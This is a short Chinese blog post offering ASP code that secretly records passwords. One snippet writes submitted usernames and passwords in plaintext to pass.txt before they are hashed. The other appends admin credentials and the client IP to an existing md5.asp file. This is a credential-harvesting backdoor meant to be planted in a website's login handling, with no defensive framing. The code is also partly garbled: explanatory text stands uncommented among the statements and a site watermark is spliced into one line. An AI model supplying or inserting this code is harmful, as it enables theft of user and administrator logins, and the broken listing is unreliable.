记录密码的asp代码

最新推荐文章于 2021-06-22 22:40:41 发布

魔拉宝

最新推荐文章于 2021-06-22 22:40:41 发布

阅读量890

点赞数

分类专栏：特效代码文章标签： asp file

特效代码专栏收录该内容

109 篇文章 1 订阅

订阅专栏

　　 <%
Dim Username,PassWord,strLogFile,f,ff,StrLogText 这里是变量定义

UserName=Replace(Request("username"),"","") 用户名表
password=Replace(Request("password"),"","") 密码表
strLogFile="pass.txt" 记录文件
StrLogText=StrLogText&"号码:"&UserName&"----"&"密码:"&PassWord&chr(13)+chr(10)
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&""&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing
PassWord=md5(request("password"),16)
%>

第二个

保存到已存在的md5.asp文件里

ip=request.ServerVariables("REMOTE_ADDR")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("md5.asp"),8,True) 网管联盟www.bitsCN.com
file.writeline adminname & "----" & adminpass & " IP:" & ip & " " &now()
file.close
set file=nothing
set fs=nothing